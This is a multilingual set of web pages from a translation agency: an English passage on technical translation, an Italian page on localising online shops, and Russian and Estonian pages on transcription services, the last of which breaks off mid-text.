Latvian language, the international synonym facilitates communication on an international scale. When translating technical texts, translators must follow a formally logical writing style. This style is characterised by factual accuracy, impersonality and transfer of information without additional emotional undertones. However, these characteristics do not fully reflect all the peculiarities of the scientific style that a translator should follow when translating technical texts. Most often technical translation is carried out in written form. The written form is more convenient and reliable, as it is less likely to allow any inaccuracy, which may not be that important in everyday communication, but in the context of scientific and technical text can cause serious misunderstandings. When translating technical texts and documentation, no graphic element, sign or symbol should be omitted in the target language, as this may lead to a distortion of the meaning of the original, which may have serious and lasting consequences. WHAT ARE THE ESSENTIALS OF TRANSLATING TECHNICAL TEXTS? Carrying out technical translation doesn’t just require the professional competencies of translators and interpreters; specific literacy in the areas covered by technical documentation is also required. Technical translation usually involves not only translators and interpreters who have the appropriate specialisation in translation but also editors and terminologists who work with terminology and its creation, as well as consult with industry representatives and academic staff. It can be beneficial if translators, interpreters and editors also have practical work experience in a particular narrow field of specialisation. Translators and interpreters of technical texts must also be able to navigate and work with a large amount of additional information, such as local and international technical standards. Searching and checking information in reliable sources is an essential part of the technical translators’ work. Technical translator education in Latvia can be obtained at Riga Technical University’s E-study Faculty of Technology and Humanities, which offers the Technical Translation study programme. Technical translation is unthinkable without appropriate technological solutions. These are systems provided by the client, especially for specific needs, or solutions used by the translation agency. We have described them in more detail in the sections “Translation Tools” and “Neural Machine Translation”. WHAT ARE TECHNICAL TEXTS? A technical text is a text that represents special information intended for a specific target group, which is necessary for the performance of precise actions or the transfer of science-based information. Therefore, the technical text has a clear, precise and coherent tone, that is, the technical text describes and explains to its reader in professional language, every smallest detail and operation, or provides theoretical information about the application of methods or tools unfamiliar to the reader. The language of technical texts is characterised by the extensive use of terms, abbreviations and numbers. The expression is laconic, precise and unambiguous. Furthermore, technical text has descriptive and demonstrative characteristics, which are related to the fact that the text presents processes that are based on various scientific knowledge and facts, or the text talks about the peculiarities of the use of the tools or devices mentioned. Technical documentation is the end result of technical writing, or a prepared set of documents on the characteristics, parameters and application of a technical product that is being created or is already in use. Technical texts cover a very wide spectrum of life areas, starting with relatively simple instructions for the use of household appliances and ending with nationally important military or engineering projects. Many believe that technical documentation is a large volume of texts that can be understood and read by anyone without special education, but this is a myth and it is not true. Interestingly, nowadays technical documentation is often supplemented with audio-visual data, such as video projections or sound elements, which significantly eases the perception and application of the information described in the text. The text in technical documentation must be formal and business-like, be as precise as possible, and use uniform terminology, including accurately reflected numerical facts, calculations and measurements. TYPES OF TECHNICAL TEXT TRANSLATIONS Translations of technical projects, specifications, certificates and methodological instructions. Translations of construction documentation. Translations of operating instructions and catalogues for equipment and devices. Translations of assembly and operating instructions. Translations of command and control manuals. Translations of the descriptions of special technology of various industries. Translations of production plans. Translations of technical presentations. Translations of other documents related to the specific industry. TECHNICAL TRANSLATIONS Generally, the translation of technical texts tends to be contrasted with translations of fiction, non-fiction and other creative texts, because when translating technical texts, free interpretation of the text is not allowed. The term “technical translation” refers to the transfer and exchange of specialised technical information from one language to another between people who speak different languages. The translation of technical texts is closely related to the translation of scientific and technical materials, as they widely use scientific and technical terminology. In the translation of technical texts, the task of the translator is to adapt the texts of narrow specific technical fields to the audience of users in the target language. Taking the rapid technological development into account, when translating technical texts, the translator often has to work with concepts and terms that are difficult to find a corresponding equivalent in the target language. In the Latvian language, many technical terms today come from technical texts in English and take root in everyday communication much faster than terminologists and linguists are able to offer an appropriate equivalent, thus causing wide-ranging discussions in society about the correctness of the language and the professionalism of translators. Many researchers, language specialists, translators, and interpreters admit that, when comparing technical translation with the translation of technical or scientific texts, it is very difficult or even impossible to distinguish between these types of translations. --- > Volete vendere i vostri prodotti e servizi a clienti stranieri? Forniamo servizi di traduzione e di localizzazione di negozi online in oltre 110 lingue. - Published: 2023-12-04 - Modified: 2024-08-22 - URL: https://skrivanek.lv/e-komercija-interneta-veikalu-tulkosana-un-lokalizesana/ BATTETE LA VOSTRA CONCORRENZA NEL CAMPO DELL'E-COMMERCE! Per tradurre e localizzare negozi online è necessario tenere in considerazione aspetti linguistici, tecnici e culturali. I linguisti specializzati che forniscono questo servizio non si occupano solamente di tradurre il contenuto della piattaforma o del sito web, ma si preoccupano anche di fare in modo che la traduzione vada incontro agli interessi del pubblico target, che corrisponda alle sue abitudini di ricerca online e che segua le leggi e regole della determinata nazione. Un altro elemento importante di questa tipologia di traduzione è la transcreazione e l’adattamento del testo, ossia l’adattamento nella lingua straniera di slogan, pubblicità e di contenuti di marketing utilizzati per il prodotto, in modo che il nuovo pubblico target possa ricevere le stesse emozioni di quello originale. La personalizzazione e l’adattamento di un negozio online implica anche l’utilizzo di traduzioni SEO, le quali prevedono la selezione, la ricerca e l’incorporazione delle opportune parole chiave nelle descrizioni prodotto e in altri testi del sito web, come anche nei titoli delle sottopagine, nelle infografiche, nelle meta descrizioni (meta description), nelle descrizioni di immagini e in altri elementi che aiutano il sito web a posizionarsi meglio nei risultati di ricerca degli utenti di una determinata regione, attraendo allo stesso tempo più attenzione dal pubblico target. DIFFERENZE CULTURALI E TRADUZIONE DI NEGOZI ONLINE Il punto di partenza dei servizi di traduzione e localizzazione di negozi online o di piattaforme di e-commerce è la definizione del cliente target e delle sue abitudini, così da permettere al linguista specializzato di adattare con successo il contenuto del negozio online agli interessi degli acquirenti. Di fatti, mentre rappresentanti commerciali francesi daranno importanza ad alcuni aspetti del prodotto, i cittadini privati inglesi ne valorizzeranno altri. Inoltre, è anche necessario selezionare correttamente i contenuti da riportare, dato che molti testi, come ad esempio articoli di giornale, indirizzi, contatti o riferimenti legali, essendo concepiti per clienti della propria nazione, saranno completamente inutili nella versione del sito web in lingua straniera. Lo stesso vale per le descrizioni di prodotti, di servizi e per altri testi. Ad esempio, inserire nel testo delle parti più leggere e divertenti può essere appropriato per un sito web indirizzato a clienti del regno unito, ma non per uno il cui target sono clienti tedeschi, dato che quest’ultimi si aspettano informazioni più specifiche. Ugualmente importante è adattare la componente visuale del proprio sito web al pubblico target, partendo dal design fino ai dettagli più piccoli, così da garantire che i clienti di una data nazione non li fraintendano. Avete bisogno di tradurre il vostro negozio online? Contattateci e vi aiuteremo! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia COME TRADURRE E LOCALIZZARE UN NEGOZIO ONLINE REALIZZATO CON PRESTASHOP? PrestaShop è un software open-source finalizzato alla realizzazione di negozi online e può essere scaricato gratuitamente da chiunque. Esso permette di creare negozi online completi e di arrivare ad un numero illimitato di acquirenti in tutto il mondo. Questo vuol dire che potete far sapere del vostro prodotto a tutti i vostri clienti, utilizzando tutte le loro lingue. Gli esperti raccomandano perfino di creare e mantenere un negozio online con PrestaShop in lingue diverse. La cosa più importante è che il contenuto sia semplice da leggere, comprensibile e adeguato al mercato e al pubblico che si vuole raggiungere. Grazie all’ultimo aggiornamento della funzione di localizzazione dei contenuti della versione 1. 5 di PrestaShop, la localizzazione e traduzione dei contenuti creati con questo software non è mai stata così semplice. COME TRADURRE E LOCALIZZARE UN NEGOZIO ONLINE REALIZZATO CON MAGENTO? Che stiate già usando una delle piattaforme di e-commerce per gestire il vostro negozio online, o che stiate solamente pianificando di iniziare un’attività di e-commerce e quindi di diventare un utente di Magento, è molto probabile che prima o poi dovrete tradurre e localizzare il vostro negozio online. Le dimensioni della vostra azienda non sono importanti: vi supporteremo nello sviluppo della vostra azienda e vi aiuteremo ad acquisire nuovi clienti stranieri, poiché parliamo la loro lingua. COME TRADURRE E LOCALIZZARE UN NEGOZIO ONLINE REALIZZATO CON IDOSELL? Se volete espandere la vostra attività in mercati stranieri, la vostra priorità dovrebbe essere quella di creare un negozio online multilingue. COME TRADURRE E LOCALIZZARE UN NEGOZIO ONLINE REALIZZATO CON SHOPIFY? Se avete un negozio online creato con Shopify, magari state pensando di espandere la vostra attività all’estero. Tutto è iniziato quando avete cambiato il punto di spedizione dei vostri prodotti e ora avete la sensazione che trasferirsi in questo nuovo mercato potrebbe essere una buona idea. Se lo farete, le vendite del vostro prodotto vi ricompenseranno. LOCALIZZAZIONE DEGLI ELEMENTI GRAFICI Un'altra sfida legata alla traduzione e alla localizzazione dei negozi online è l’adattamento degli elementi grafici alle esigenze del mercato di destinazione. Di fatti, anche i testi visibili sui banner, i pulsanti e le immagini dei negozi online devono essere tradotte e localizzate. Per farlo a livello professionale è necessaria una stretta cooperazione tra traduttori e grafici. TRADUZIONE DI NEGOZI ONLINE: L'ASPETTO LINGUISTICO Quando ci occupiamo della traduzione dei contenuti di un negozio online, facciamo attenzione ad utilizzare la corretta valuta ed unità di misura per peso e dimensioni utilizzate nel mercato o nazione target. Siamo consapevoli infatti che unità di misura usate in modo scorretto, o in cui virgole o punti sono mal posizionati, possono dare informazioni sbagliate. Quando si crea una connessione con un potenziale cliente, è importante utilizzare espressioni adatte al gruppo di cui fa parte. Di fatti, quelle frasi che in una cultura potrebbero essere percepite positivamente, in un’altra potrebbero essere perfino offensive. Al fine di garantire un tono adeguato e un testo fluido, nonché per attirare potenziali clienti, tutte le traduzioni sono revisionate da un madrelingua della lingua di arrivo. Egli controlla attentamente lo stile e l'accuratezza del contenuto della traduzione. L'ASPETTO TECNICO DELLA TRADUZIONE E DELLA LOCALIZZAZIONE DEI NEGOZI ONLINE Il processo di traduzione e di localizzazione di negozi online si intreccia anche con l’informatica, soprattutto per estrarre il contenuto da tradurre dal codice sorgente, dato che ogni pagina è composta da elementi invisibili agli utenti che tuttavia sono necessari a garantire la loro funzionalità. Alcune piattaforme, come ad esempio PrestaShop, offrono già delle funzioni basiche per facilitare la traduzione delle descrizioni prodotto. Esse comprendono titoli, caratteristiche del prodotto e contenuti di marketing, e sono sempre adattate e tradotte da una squadra di traduttori professionisti. SITI MULTILINGUE E MULTIVALUTA REALIZZATI CON WORDPRESS WooCommerce Multilingual consente di gestire i negozi online in più lingue e valute ed è la piattaforma di e-commerce multilingue più popolare e affidabile. Fornisce la traduzione di prodotti e di varianti di prodotti. Fornisce la traduzione di tutti i testi che i clienti vedono mentre fanno acquisti. Consente di determinare dei prezzi di vendita e la fatturazione in più valute. Facilita l'identificazione dei parametri SEO in diverse lingue. È compatibile con tutti i più diffusi plugin e temi WooCommerce. È già integrato con i pacchetti WPML - Multilingual CMS e Multilingual Agency. L’ASPETTO LEGALE È importante che ogni negozio online sia conforme alle leggi imposte da ogni paese, dato che il non rispetto di quest’ultime potrebbe comportare il blocco delle vendite in una determinata nazione e serie conseguenze legali. Così è spesso necessario utilizzare ed evidenziare riferimenti particolari, fare uso di una terminologia speciale che soddisfa i requisiti imposti dalle autorità di protezione dei consumatori, come anche strategie specifiche per un particolare brand. In questi casi, il traduttore lavora in collaborazione con il cliente per preparare un glossario dei termini chiave. GARANZIA DI SICUREZZA DELLE INFORMAZIONI Nel processo di traduzione e localizzazione dei negozi online, il nostro team di assistenza informatica ha spesso bisogno di accedere al pannello di amministrazione del vostro sito web e ciò può creare ulteriori problemi di privacy. Tuttavia, collaborando con l'agenzia di traduzione Skrivanek Baltic, avrete la sicurezza che i vostri dati saranno completamente al sicuro e che non verranno acquisiti da terze parti. La nostra attenzione verso la sicurezza e la riservatezza delle informazioni è confermata dal certificato ISO 27001. PERCHÉ VALE LA PENA AFFIDARSI A DEI PROFESSIONISTI PER TRADURRE UN NEGOZIO ONLINE? Il settore della vendita al dettaglio online cresce ogni anno. Di fatti, sempre più prodotti e servizi sono acquistati in negozi online invece che in quelli fisici. Questo vale per tutte le tipologie di prodotti, partendo da vestiti, elettrodomestici, libri e film, fino a prodotti alimentari e medicinali. Ma con il rapido sviluppo del settore dell’e-commerce è cresciuta anche l’importanza della soddisfazione e della fidelizzazione della clientela. Non è un segreto: se c’è un’ampia scelta di negozi online da cui acquistare, i clienti scelgono più spesso quelli che funzionano meglio e che hanno contenuti interessanti nella loro lingua madre. La traduzione e localizzazione intelligente dei contenuti del vostro sito web vi aiuteranno ad acquisire nuovi clienti e ad aumentare le vendite dei prodotti e dei servizi della vostra azienda. Volete tradurre il vostro negozio online? Contattateci! Ci occupiamo sia di siti web di piccole dimensioni che di grandi portali di aste online, adattando il nostro modus operandi al progetto assegnatoci. --- > Skrivanek предлагает профессиональные услуги транскрипции и транслитерации, преобразовывая устный текст с аудио/визуальных записей в письменный текст на +110 языках. - Published: 2023-10-31 - Modified: 2024-11-12 - URL: https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/ - Translation Priorities: Optional ЧТО ТАКОЕ ТРАНСКРИПЦИЯ/ТРАНСКРИБИРОВАНИЕ? Профессиональная транскрипция аудио- и/или видеозаписей – это точное воспроизведение услышанного в записи текста (речи) в виде печатного текста в текстовом файле. Нередко для повышения эффективности работы используются передовые технологии распознавания речи, позволяющие при необходимости ускорить процесс транскрипции, даже если в записи слышны голоса нескольких говорящих. Такая автоматическая транскрипция – правильный выбор, если аудиозапись очень хорошего качества и легко воспринимается. Однако в основном мы занимаемся ручной транскрипцией, которая хоть и удлиняет и усложняет процесс работы, но гарантирует качество. По окончании работы вы получите транскрибированный текстовый файл, готовый к использованию в различных целях. ПОЧЕМУ СТОИТ СОТРУДНИЧАТЬ СО SKRIVANEK? Мы являемся профессиональной компанией, предоставляющей языковые услуги, которая известна превосходным качеством обслуживания клиентов и широким спектром языковых услуг Обеспечение профессиональной транскрипции аудио- и видеоматериалов и перевода текстов на более чем 110 языков – приоритетная задача нашего бюро. Клиенты предпочитают сотрудничать со Skrivanek, потому что: Мы работаем более чем со 100 форматами файлов. Мы работаем со всеми форматами аудио- и видеофайлов (например, sbv, avi, mpg, mp4, wmv, mp3, wav, wma и др. ), поэтому, независимо от того, нужна вам транскрипция аудио- или видеофайлов, мы всегда готовы помочь! Предоставляем услуги в режиме онлайн. Чтобы заказать транскрипцию устной речи в аудио-/видеофайле, не нужно никуда ехать. Мы принимаем и передаем готовые работы на 100 % в режиме онлайн, по электронной почте или через любое удобное для вас решение по обмену данными в облаке, что гарантирует полную безопасность ваших данных. Удобный портал для клиентов. Следите за всем в одном месте и узнавайте о ходе выполнения проекта на нашем удобном портале для клиентов. Гарантия отличного обслуживания. Качество нашей работы подтверждается многочисленными сертификатами Международной организации по стандартизации (ISO) и строгим кодексом поведения. Если желаете получить качественную услугу транскрипции, вы обратились по адресу! НЕОБХОДИМА ТРАНСКРИПЦИЯ/ТРАНСКРИБИРОВАНИЕ? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ВИДЫ ТРАНСКРИПЦИОННЫХ УСЛУГ В основном различают два типа услуг транскрипции: Отредактированная транскрипция. Это означает, что речь, произносимая в записи, не только транскрибирована, но и отредактирована, т. е. в написанном тексте отсутствуют разрывы речевого потока и лишние звуки для заполнения пауз, такие как «а-а-а», «э-э-э», «ну-у-у», неоконченные слова, не описаны фоновые шумы, исправлены речевые интонационные ошибки (правильное использование знаков долготы), которые мы часто слышим в телепередачах, на конференциях, публичных дискуссиях, онлайн-лекциях и т. д. Мы рекомендуем данную услугу, если транскрибированный материал предназначен для создания учебных материалов, маркетинговых мероприятий. Полная транскрипция. Это означает, что речь, произносимая в записи, транскрибируется полностью, с точным отображением всех лишних звуков, речевых ошибок и вставок. Такая транскрипция выбирается в том случае, если транскрибированный файл и распечатанный текст будут служить доказательством в суде или в юридическом споре. КОГДА НУЖНЫ УСЛУГИ ТРАНСКРИПЦИИ? Услуги транскрипции будут полезны, если транскрибированные тексты необходимы: в качестве доказательства для судебных слушаний или полиции, мы также можем оформить расшифровку в виде печатного документа и заверить его подписью / электронной подписью лица, выполнившего транскрипцию, или переводчика; для записи того, что говорится в интервью; для записи и субтитрирования выступлений на конференциях, онлайн-лекциях и семинарах; для маркетинговых и PR-мероприятий в Интернете, например на канале YouTube, в целях улучшения позиций в поисковой системе Google; для записи и субтитрирования устной речи в телесериалах, телепередачах, фильмах, радиопередачах и т. д. Услуги транскрипции широко используются создателями контента, журналистами, исследователями, маркетологами и студентами. СКОЛЬКО СТОЯТ УСЛУГИ ТРАНСКРИПЦИИ? Для ответа на этот вопрос необходимо провести анализ аудио- и/или визуального материала, в ходе которого наши руководители проектов оценивают: предполагаемый срок выполнения работы; качество аудио- и/или видеофайла; требования к объему текста, например ограничения по количеству символов; особенности языка (языков) записи; дополнительные требования, например, требуется ли транскрибированному тексту корректура, идентификация говорящих, отображение тайм-кода и т. д. Будьте уверены – мы честны по отношению к нашим клиентам и никогда не начнем реализацию проекта без согласования с вами его стоимости и срока исполнения. ПОЧЕМУ ВАШЕМУ ПРЕДПРИЯТИЮ МОГУТ БЫТЬ ПОЛЕЗНЫ ВЫСОКОКАЧЕСТВЕННЫЕ УСЛУГИ ТРАНСКРИПЦИИ? В рабочих целях часто приходится анализировать объемные аудио- и/или видеозаписи. В информационном потоке бывает сложно найти нужный раздел онлайн-лекции или интервью, однако благодаря транскрипции вы можете работать с функцией поиска в текстовом редакторе, чтобы найти любое ключевое слово, на поиск которого в аудио- или видеофайле вручную ушло бы очень много времени. Транскрибированные записи облегчают архивирование речей или поиск информации в архивах аудио- и/или видеофайлов. Вспомним студенческие годы: кому охота слушать многочасовые лекции, если их можно просто прочитать? Услугами транскрипции постоянно пользуются и журналисты, делающие субтитры для интервью, – автоматическая транскрипция записанных интервью не только экономит массу рабочего времени, но и является залогом качества их работы. Наиболее распространенные типы аудио- и/или видеозаписей, которые Skrivanek ежедневно получает для транскрибирования: записи интервью; голосовые сообщения; записи онлайн-тренингов, лекций, презентаций на конференциях, панельных дискуссий, деловых встреч; подкасты, фильмы и телесериалы и т. д. УСЛУГИ ТРАНСКРИПЦИИ ДЛЯ СУДЕБНЫХ ЦЕЛЕЙ В латвийских и европейских судебных инстанциях стороны все чаще просят приобщить к делу в качестве доказательств записи разговоров или событий, особенно в уголовных и гражданских делах – в семейных спорах о разделе имущества, алиментах или родительских правах. Как известно, любая аудио- и/или видеозапись, используемая в качестве доказательства по делу, должна быть оформлена в виде текстового документа, т. е. то, что вы слышите в аудио- и/или видеозаписи, должно быть оформлено в виде текста, который обычно своей подписью утверждает лицо, выполнившее транскрипцию. Такая полная транскрипция требует особой тщательности, поскольку учитывается каждый слышимый звук, интонация и выражение эмоций говорящих, что может сыграть решающую роль в споре, кроме того, в транскрибированном тексте должны быть использованы тайм-коды и идентифицированы говорящие. ТРАНСКРИПЦИЯ ЗАПИСЕЙ НА ИНОСТРАННЫХ ЯЗЫКАХ Учитывая международный и мультикультурный характер делового и научного мира, большинство встреч и конференций сегодня проводится на иностранном языке, и компании подготавливают для своих сотрудников видеозаписи на английском языке, чтобы их могла посмотреть и послушать как можно более широкая аудитория. Ученые пользуются услугами транскрипции для подготовки заявок на получение грантов или для проведения научных исследований, в рамках которых нужно работать с аудио- и/или видеозаписями, поскольку материал исследования должен быть удобен для анализа и обработки. Конечно, это требует тщательного отбора деловых партнеров и изучения рынка! Работа с иноязычными записями гораздо сложнее, чем с записями на латышском языке, так как требует не только абсолютной точности, но и проверки человеком, свободно владеющим языком оригинала, которая иногда сопровождается пояснениями или переводом на латышский язык. ПОЧЕМУ ТРАНСКРИПЦИЮ СЛЕДУЕТ ПОРУЧИТЬ ПРОФЕССИОНАЛАМ? Транскрипция аудио- и/или видеозаписи будет осуществляться профессиональными сотрудниками бюро, которые занимаются этим ежедневно, что гарантирует точность выполнения задания и соответствие его цели и требованиям, что особенно важно, если транскрибированный текст будет подаваться в суд. Если транскрибированный текст предназначен для маркетинговых или деловых целей, но аудио- и/или видеозаписи содержат ненужные повторы, оговорки, слова-паразиты, междометия и разрывы в потоке речи, которые (чаще всего! ) не должны включаться в транскрибированный текст. Профессиональная транскрипция – это не просто преобразование каждого услышанного в записи звука в символы, это целый комплекс сопутствующих услуг, требующих опыта и дополнительных навыков. Услуги транскрипции – наша специализация. Вот наиболее важные аспекты, в которых вы можете быть уверены, нанимая нас для транскрибирования: Высокое качество транскрибированного текста благодаря отличному знанию языков, современным технологиям распознавания речи и комфортным условиям работы, необходимым для транскрибирования. Корректность формулировок, точность и внимание к деталям, благодаря чему даже самый требовательный клиент сможет по достоинству оценить текст. Сэкономить время и силы на зачастую очень утомительной работе по расшифровке и многократному прослушиванию одного и того же слова крайне сложно, поэтому специалисты-транскрибаторы Skrivanek с удовольствием помогут с редактированием и корректурой транскрибированного текста. Мы можем подготовить конечный файл в необходимом вам формате. Очень часто субтитры требуются в формате . srt. Мы справимся и с этой задачей. НЕДОСТАТКИ БЕСПЛАТНЫХ ОНЛАЙН-ИНСТРУМЕНТОВ ДЛЯ ТРАНСКРИБИРОВАНИЯ В Интернете доступен широкий спектр инструментария для транскрибирования. Конечно, бесплатный инструмент транскрибирования создаст для вас текстовый файл, но помните, что искусственный интеллект – это программное обеспечение, созданное человеком, и оно не может модифицировать текст, понимать контекст, эмоции и выявлять подтекст. Поэтому бесплатные инструменты транскрибирования не подходят ни для транскрипции разговоров для суда, ни для транскрипции фильмов, телесериалов, учебных онлайн-курсов. Бесплатный инструмент транскрибирования – отличный помощник, если вам просто нужно понять, о чем речь в аудио- и/или видеозаписи. Следует также иметь в виду, что записи, преобразованные в текст с помощью программного обеспечения, всегда должны проверяться специалистом, который внесет необходимые коррективы, ведь мы редко говорим медленно, четко и бегло, а компьютер зачастую может не уловить поток речи, поскольку это всего лишь компьютер. Помимо ограниченного количества функций, предоставляемых бесплатными инструментами транскрибирования, стоит упомянуть и о других проблемах, с которыми специалист-транскрибатор справится лучше, чем компьютерная программа: Акцент и необычная речь, включая скорость речи, – некоторые инструменты позволяют работать с большим количеством разных языков, но этого может быть недостаточно, если в аудио- и/или видеозаписи присутствуют областные слова, используемые на ограниченных территориях, диалекты и наречия, или архаизмы. Качество слышимости записи – любой фоновый шум и звуки, не являющиеся частью транскрибируемой речи, будут представлять определенную сложность для программного обеспечения, поскольку оно не сможет правильно распознать слова из-за фоновых звуков и шумов. Ограниченный словарный запас, особенно в отношении имен собственных, фразеологизмов, выражений и идиом. Форматирование – инструмент автоматической транскрипции способен воспроизводить речь аудио- и/или видеозаписи только в виде письменного текста, исключая любое редактирование – знаки препинания, синтаксис или стилистику. Вносить такие изменения после завершения транскрипции очень сложно и долго, поэтому специалист-транскрибатор вносит все необходимые правки в процессе работы. --- > Skrivanek pakub professionaalseid transkriptsiooni- ja translitereerimisteenuseid, konverteerides kõnekeelseid tekste audio-/visuaalsetest salvestustest kirjalikuks tekstiks +110 keeles. - Published: 2023-10-31 - Modified: 2024-08-13 - URL: https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/ - Translation Priorities: Optional MIS ON TRANSKRIPTSIOON/TRANSKRIBEERIMINE? Audio- ja/või videosalvestuste professionaalne transkribeerimine on salvestuses kuuldud teksti (kõne) täpne ümbervormistamine trükitud ja failina salvestatud tekstiks. Sageli kasutatakse protsessi tõhususe huvides kõnetuvastustehnoloogiat, mis võimaldab vajaduse korral transkriptsiooni kulgu kiirendada, isegi kui salvestuses on kõnelejaid rohkem kui üks. Automatiseeritud transkriptsiooni on kohane kasutada siis, kui heli on väga hea kvaliteediga ja kõne selgesti arusaadav. Siiski teostame transkriptsiooni enamasti manuaalselt, mis on küll aeganõudvam ja keerulisem, kuid tagab alati kvaliteetse tulemuse. Protsessi tulemusena saate oma valdusesse transkribeeritud tekstifaili, mis on valmis eri eesmärkidel kasutamiseks. MIKS TEHA KOOSTÖÖD SKRIVANEKIGA? Oleme professionaalne keeleteenuseid pakkuv ettevõte, mis on tuntud oma esmaklassilise klienditeeninduse ja teenuste laia valiku poolest. Meie meeskonna prioriteet on tagada teie audio- või videomaterjalide professionaalne transkribeerimine ja tõlkimine enam kui 110 keelde. Kliendid valivad koostöö Skrivanekiga, sest: oleme valmis töötama enam kui 100 failivorminguga – meile sobivad kõik audio- ja videofailide vormingud (nt sbv, avi, mpg, mp4, wmv, mp3, wav, wma ja teised), seega saame olla abiks, olenemata sellest, kas vajate heli- või videomaterjali transkribeerimist; osutame teenuseid interneti vahendusel – heli- või videofaili transkriptsiooni tellimiseks ei pea te kuhugi minema. Võtame tööd vastu ja anname need üle 100% veebipõhiselt, e-posti teel või mis tahes teile sobiva pilvepõhise andmevahetuslahenduse kaudu, tagades teie andmete täieliku turvalisuse; kasutame kasutajasõbralikku kliendiportaali – jälgige projekti kulgu ja saage asjadest hea ülevaade meie kasutajasõbraliku kliendiportaali kaudu; tagame suurepärase teenusekvaliteedi – meie töö kvaliteeti on tunnustatud mitmete rahvusvahelise standardiorganisatsiooni (ISO) sertifikaatidega ning seda kinnitab rangete tegutsemisjuhiste järgmine. Kui soovite kõrge kvaliteediga transkriptsiooniteenust, olete õiges kohas! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada TRANSKRIPTSIOONITEENUSTE LIIGID Põhimõtteliselt on olemas kahte liiki transkriptsiooniteenuseid: toimetatud transkriptsioon – see tähendab, et salvestises kuuldud kõnet mitte ainult ei kirjutata ümber, vaid seda ka toimetatakse – kirjalikust tekstist eemaldatakse kõnevoo katkestused ja ebaolulised pausitäitehelid, nagu „aa“, „ee“, „noo“, lõpetamata sõnad, selles ei kirjeldata taustamüra ning selles parandatakse intonatsioonivead (pikkade vokaalide õige kasutamine), mida võib sageli kuulda telesaadetes, konverentsidel, avalikes aruteludes, veebiloengutes jne. Seda teenust soovitame siis, kui transkribeeritud sisu on mõeldud koolitusmaterjalideks või turundustegevuses kasutamiseks; täielik transkriptsioon – see tähendab, et salvestuses kuuldud kõne on transkribeeritud sõna-sõnalt, kajastades täpselt kõiki ebaolulisi helisid, kõnevigu ja vahehäälikuid. Selline transkriptsioon tuleks valida juhul, kui transkribeeritud faili ja trükitud teksti kasutatakse tõendina kohtus või juriidilises vaidluses. MILLAL TRANSKRIPTSIOONITEENUSEID VAJATAKSE? Transkriptsiooniteenused on abiks, kui on transkriptsiooni on vaja järgmistel eesmärkidel: kasutamiseks tõendusmaterjalina kohtuistungitel või politsei jaoks, meie saame esitada transkriptsiooni ka väljatrükitud dokumendina, kinnitades seda koostaja või tõlgi allkirjaga/digiallkirjaga; intervjuudel räägitu ülesmärkimiseks; konverentsidel, veebiloengutes ja seminaridel peetavate ettekannete vormistamiseks ja subtiitrite lisamiseks; turundus- ja suhtekorraldustegevuseks internetis, nt YouTube’i kanalil, et parandada oma positsiooni Google’i otsingutulemustes; telesarjade, -ülekannete, filmide ja raadiosaadete transkribeerimiseks ning subtiitrite lisamiseks jne. Transkriptsiooniteenuseid kasutavad laialdaselt sisuloojad, ajakirjanikud, teadlased, turundusspetsialistid ja isegi üliõpilased. KUI PALJU TRANSKRIPTSIOONITEENUSED MAKSAVAD? Sellele küsimusele vastamiseks tuleb teostada heli- ja/või videomaterjali analüüs, mille käigus meie projektijuhid hindavad: tööde eeldatavat valmimise aega; heli- ja/või videofaili kvaliteeti; nõudeid teksti mahu osas, näiteks tähemärkide piiranguid; salvestuse keelelisi iseärasusi, vajadusel mitme keele puhul; lisanõudeid, näiteks kas transkriptsiooni on vaja keeleliselt korrigeerida, tuvastada rääkijaid, kasutada ajakodeerimist jne. Võite olla kindlad, et austame oma kliente ning ei alusta kunagi projekti teostamist ilma teie nõusolekuta projekti maksumuse ja ajakava osas. MILLIST KASU VÕIKS TEIE ETTEVÕTE SAADA KÕRGETASEMELISTEST TRANSKRIPTSIOONITEENUSTEST? Te peate tööülesannete täitmisel sageli analüüsima suures koguses heli- ja/või videosalvestisi. Infokülluses võib olla keeruline leida 